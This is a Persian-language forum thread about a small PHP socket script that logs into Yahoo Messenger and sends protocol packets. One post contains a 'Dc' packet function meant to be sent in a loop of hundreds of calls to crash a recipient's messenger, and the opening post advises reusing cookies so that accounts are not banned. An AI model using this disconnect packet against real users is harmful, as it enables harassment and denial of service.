امتیاز موضوع:
  • 0 رأی - میانگین امتیازات: 0
  • 1
  • 2
  • 3
  • 4
  • 5
Login to Yahoo! and Send packet By the PHP
نویسنده پیام
CRazYFULL غایب
مدیر بازنشسته
*****

ارسال‌ها: 792
موضوع‌ها: 27
تاریخ عضویت: تير ۱۳۸۵

تشکرها : 1546
( 2836 تشکر در 593 ارسال )
ارسال: #1
Exclamation  Login to Yahoo! and Send packet By the PHP
اين سورس يک مثال خيلی ساده برای لاگين شدن تو ياهو! به وسيله php و فرستادن انواع پکت هست
اين مثال تنها به وسيله سوکت نوشته شده و به فايل ديگه اي وابسته نيست

توجه داشته باشيد بعد از لاگين شدن و گرفتن کوکی اون آيدی، ميتونيد کوکی رو ذخيره کنيد و در دفعات بعدی از کوکی که ذخيره کرديد استفاده کنيد و تا زمانی که پسورد آيدی رو عوض نکريد ديگه نيازی نيست مجددا برای اون آيدی کوکی بگريد
در اين صورت آيدی و سرور به هيچ وجه بن نميشه

دمو از اين مثال


فایل‌(های) پیوست شده
.zip   WEB_YMSG.zip (اندازه: 3.06 KB / تعداد دفعات دریافت: 170)
۰۸-آبان-۱۳۸۸, ۲۳:۱۱:۰۴
ارسال‌ها
پاسخ
تشکر شده توسط : ajlajlajl, babyy, pashmaloo, lord_viper, jaber, lolohacko, veyskarami, SaeedGh, joker, BAHMANNN, roozy
jaber آفلاین
در حال پیشرفت
***

ارسال‌ها: 330
موضوع‌ها: 65
تاریخ عضویت: دى ۱۳۸۴

تشکرها : 61
( 66 تشکر در 41 ارسال )
ارسال: #2
RE: Login to Yahoo! and Send packet By the PHP
سلام دوست من یک سوال داشتم در این مورد

این اسکریپت فشار به سرور نمیاره مثل میل سرور ها ؟

اگه بشه امکان ارسال smily و buzz هم بهش اضافه کرد خیلی خوبه

نماز بخوانید قبل از اینکه نماز بر شما خوانده شود
۱۱-آبان-۱۳۸۸, ۰۹:۲۳:۳۵
ارسال‌ها
پاسخ
veyskarami غایب
مدیر بازنشسته
*****

ارسال‌ها: 861
موضوع‌ها: 82
تاریخ عضویت: مرداد ۱۳۸۴

تشکرها : 477
( 2479 تشکر در 611 ارسال )
ارسال: #3
RE: Login to Yahoo! and Send packet By the PHP
smil كه سادست!
فقط كدش رو ارسال كن!

۱۱-آبان-۱۳۸۸, ۱۲:۳۹:۵۱
وب سایت ارسال‌ها
پاسخ
CRazYFULL غایب
مدیر بازنشسته
*****

ارسال‌ها: 792
موضوع‌ها: 27
تاریخ عضویت: تير ۱۳۸۵

تشکرها : 1546
( 2836 تشکر در 593 ارسال )
ارسال: #4
RE: Login to Yahoo! and Send packet By the PHP
(۱۱-آبان-۱۳۸۸, ۰۹:۲۳:۳۵)jaber نوشته است: سلام دوست من یک سوال داشتم در این مورد
این اسکریپت فشار به سرور نمیاره مثل میل سرور ها ؟
اگه بشه امکان ارسال smily و buzz هم بهش اضافه کرد خیلی خوبه

نه فکر نکنم فشار بياره چون فقط به سرور وصل ميشه و 2 ،3 تا پکت ميفرسته
من روش رو يک هفته جايی قرار دادم که روزی نزديک به 700 ،800 بار اجرا ميشد و برای آيدی خودم پيغام ميفرستاد و مشگلی نداشت البته با هاست free

برای buzz تو پکت pm تنها متن <ding> رو بنويسيد
برای شکلک ها هم از کدش استفاده کنيد

چند تا نکته
-اگه فقط برای فرستادن پيغام استفاده ميکنيد پکت های ديگه و sleep دو ثانيه رو پاک کنيد.
-بعد از فرستادن پکت لاگين يک ثانيه مکس ايجاد شده, چون سرور سرعت بالايی داره يک ثانيه زمان زيادی هست اگه بتونيد از تابع ديگری برای ايجاد مکسه چند صدم ثانيه اي استفاده کنيد بهتر ميشه.
(آخرین ویرایش در این ارسال: ۱۱-آبان-۱۳۸۸, ۱۶:۲۶:۴۷، توسط CRazYFULL.)
۱۱-آبان-۱۳۸۸, ۱۶:۲۱:۱۳
ارسال‌ها
پاسخ
mohamadpk آفلاین
در حال پیشرفت
***

ارسال‌ها: 337
موضوع‌ها: 39
تاریخ عضویت: اردیبهشت ۱۳۸۷

تشکرها : 726
( 661 تشکر در 257 ارسال )
ارسال: #5
RE: Login to Yahoo! and Send packet By the PHP
اینم پکت dc برای این اسکریپت php این پکت رو فقط باید توی یک for 1000 تایی بگذارید و هی صداش کنید تا طرف dc بشه ولی 100 تاش هم کافیه . یاهو 10 رو هم میزنه و یاهو error میده و بسته میشه.
کد:
public function Dc($from,$to)
{
return $this->ym_header(220,"1^$" . $from . "^$5^$" . $to . "^$222^$1^$265^$" . chr(10) . "^$266^$1^$302^$268^$300^$268^$27^$" . "PROGRAMER BY MPk^$28^$88888888888888^$301^$268^$303^$268^$");
{

وطنم ای عشق همیشگی من ایران زمین

شقایق ها گل میکنن دوباره عاشق میشن...........قصه عشق وطن رو به غنچه هاشون میگن


۱۶-اسفند-۱۳۸۸, ۲۰:۳۷:۰۸
ارسال‌ها
پاسخ
amir00 آفلاین
كاربر دو ستاره
**

ارسال‌ها: 78
موضوع‌ها: 6
تاریخ عضویت: تير ۱۳۸۷

تشکرها : 42
( 129 تشکر در 48 ارسال )
ارسال: #6
RE: Login to Yahoo! and Send packet By the PHP
آیای امکان دریافت پاکت هم هست؟ مثلا پیامهایی که دیگران برای آی دی بفرستن را بگیریم....


متشکر

حافظ خلوت نشین دوش به میخانه شد از سر پیمان گذشت بر سر پیمانه شد
۰۵-شهریور-۱۳۸۹, ۱۸:۴۷:۰۰
ارسال‌ها
پاسخ
CRazYFULL غایب
مدیر بازنشسته
*****

ارسال‌ها: 792
موضوع‌ها: 27
تاریخ عضویت: تير ۱۳۸۵

تشکرها : 1546
( 2836 تشکر در 593 ارسال )
ارسال: #7
RE: Login to Yahoo! and Send packet By the PHP
با php نه، چون بعد از تمام شدن اجرای دستورات سوکت بسته ميشه
يعنی نميتونه منتظر چيزی بمونه اما ميتونه پيغام های آفلاين و تعداد ايميل و آيدی های ادليست و يه سری اطلاعاتی که بعد از لاگين آيدی فرستاده ميشن رو گرفت.
۰۶-شهریور-۱۳۸۹, ۰۱:۲۸:۵۳
ارسال‌ها
پاسخ
amir00 آفلاین
كاربر دو ستاره
**

ارسال‌ها: 78
موضوع‌ها: 6
تاریخ عضویت: تير ۱۳۸۷

تشکرها : 42
( 129 تشکر در 48 ارسال )
ارسال: #8
RE: Login to Yahoo! and Send packet By the PHP
من این برنامه ای که شما دادین را تبدیل به یک کلاس کامل تر کردم و کار با اون خیلی ساده شده که به زودی اون را در همین پست قرار میدم.

من به این صورت کار کردم که در صفحه ی php یک حلقه بی نهایت قرار دادم و زمان اجرای مجاز را هم برای صفحه نا محدود قرار دادم و فرمانها را در این حلقه ی بینهایت از یک فایل میگیرم و اجرا میکنم. با این کار سوکت همیشه هست و به ارسال و دریافت اطلاعات میپردازه.

البته بعد از اون اطلاعات را به جای فایل در دیتا بیس ذخیره کردم که با یک صفحه دیگه میتونم اطلاعات را بفرستم و یا اطلاعات دریافتی را ببینم.

با این حال آیا میشه این کلاس را کاملتر کرد؟
فایل جدید را پیوست کردم.

این برنامه همان برنامه قبلی هست با این تفاوت محتوای ارطبات با سوکت برای ارسال پاکت خودش نیز در یک کلاس قرار گرفته و برای ارسال پاکت به دو خط کد بیشتر نیاز نیست:

ابتدا فایل کلاس برنامه را وارد میکنیم :

کد php:
require('class.WebYMSG.php'); 

سپس یک شیء از کلاس یاهو مسنجر میسازیم و متد ارسال آن را صدا میزنیم. به همین راحتی:
کد php:
$yahoo = new yahooMessenger($yahooID,$passWord);
$yahoo->send($PMto,$Msgto); 

خب حالا اگر کوکی از قبل موجود بود اون را به عنوان پارامتر سوم به سازنده ارسال می کنیم.

در فایل پیوست من کوکی را اگر موجود نباشه برای بار اول درسافت میکنم و در یک فایل ذخیره میکنم و در دفعات بعد کوکی را از اون فایل میگیرم.




فایل‌(های) پیوست شده
.zip   yahooMessenger.zip (اندازه: 2.84 KB / تعداد دفعات دریافت: 128)

حافظ خلوت نشین دوش به میخانه شد از سر پیمان گذشت بر سر پیمانه شد
(آخرین ویرایش در این ارسال: ۰۶-شهریور-۱۳۸۹, ۱۴:۳۲:۰۲، توسط amir00.)
۰۶-شهریور-۱۳۸۹, ۱۴:۰۸:۰۶
ارسال‌ها
پاسخ
تشکر شده توسط : CRazYFULL, BAHMANNN, roozy
CRazYFULL غایب
مدیر بازنشسته
*****

ارسال‌ها: 792
موضوع‌ها: 27
تاریخ عضویت: تير ۱۳۸۵

تشکرها : 1546
( 2836 تشکر در 593 ارسال )
ارسال: #9
RE: Login to Yahoo! and Send packet By the PHP
اينکه تو يه حلقه بی نهايت قرار بگيره اصولی هست ؟ به سرور فشار نمياد؟
۰۶-شهریور-۱۳۸۹, ۱۶:۰۱:۰۴
ارسال‌ها
پاسخ
amir00 آفلاین
كاربر دو ستاره
**

ارسال‌ها: 78
موضوع‌ها: 6
تاریخ عضویت: تير ۱۳۸۷

تشکرها : 42
( 129 تشکر در 48 ارسال )
ارسال: #10
RE: Login to Yahoo! and Send packet By the PHP
توی حلقه بینهایت کار خاصی انجام نمیده. هر بار فقط محتوای فایل را چک مکنه.

خب راه حل بهتری هم هست. میتونیم یک پورت را هم باز کنیم و برنامه php را روی اون پورت در حالت شنود قرار بدیم و فرمان را از طریق سوکت بهش بدیم و اون هم اجرا کنه.

اینجوری برنامه ما در حالت اجرا میمونه و سوکت مسنجر را هم باز نگه میداره.

بالاخره راه زیاده.

حافظ خلوت نشین دوش به میخانه شد از سر پیمان گذشت بر سر پیمانه شد
(آخرین ویرایش در این ارسال: ۰۶-شهریور-۱۳۸۹, ۱۶:۴۴:۲۴، توسط amir00.)
۰۶-شهریور-۱۳۸۹, ۱۶:۴۱:۰۰
ارسال‌ها
پاسخ
تشکر شده توسط : رسول
mohamadpk آفلاین
در حال پیشرفت
***

ارسال‌ها: 337
موضوع‌ها: 39
تاریخ عضویت: اردیبهشت ۱۳۸۷

تشکرها : 726
( 661 تشکر در 257 ارسال )
ارسال: #11
RE: Login to Yahoo! and Send packet By the PHP
ساخت حلقه برای زنده نگه داشتن سوکت اصلا عقلانی نیست. چند تا حلقه رو فکر می کنید سرور بتونه پشتیبانی کنه و قبول کنه.

نقل قول: خب راه حل بهتری هم هست. میتونیم یک پورت را هم باز کنیم و برنامه php را روی اون پورت در حالت شنود قرار بدیم و فرمان را از طریق سوکت بهش بدیم و اون هم اجرا کنه.

اینجوری برنامه ما در حالت اجرا میمونه و سوکت مسنجر را هم باز نگه میداره.
سوکت شما بعد از تموم شدن کارش تموم میشه و ربطی به ادامه کل برنامه شما نداره. البته می تونید تو تنظیمات php زمان بسته شدن سوکت رو بزارید 0 ولی بازم مشگلات دیگه ای هست که سراغتون میاد. حتی میتونید با توابع سوکت سوکتی بسازید که تا زمانی که برنامه باز هست سوکت باز بمونه . اونطوری حرف بالای شما قابل انجام هست. فکر کنم با تابع setoption برای سوکت و مقدار nonclose بود البته دقیق یادم نیست. اگر اشتباه گفتم ببخشید.

چرا وقتی سر یه چیزی فکر می کنید گیر میدید به یه زبان؟.وقتی میشه از چند زبان استفاده کرد این کارا لازم نیست.
تنها راه اصولی برای این کار نوشتن یه dll یا extension با c یا c++ برای php هست .که البته این زحمتش کشیده شده و هست .یعنی دیگه زحمت نوشتنش هم نمی خواد بکشید .تو سایت سورس فرج بود فکر کنم یه همچین چیزی سال پیش دیدم. بگردید پیدا می کنید.

وطنم ای عشق همیشگی من ایران زمین

شقایق ها گل میکنن دوباره عاشق میشن...........قصه عشق وطن رو به غنچه هاشون میگن


۱۰-مهر-۱۳۸۹, ۰۱:۵۵:۱۴
ارسال‌ها
پاسخ


موضوعات مرتبط با این موضوع...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  ارسال PM به Yahoo Messenger با PHP !! phpkar 27 17,761 ۱۰-تير-۱۳۸۷, ۰۱:۲۲:۴۷
آخرین ارسال: aryaanoosh_diba

پرش به انجمن:


کاربرانِ درحال بازدید از این موضوع: 1 مهمان

صفحه‌ی تماس | IranVig | بازگشت به بالا | | بایگانی | پیوند سایتی RSS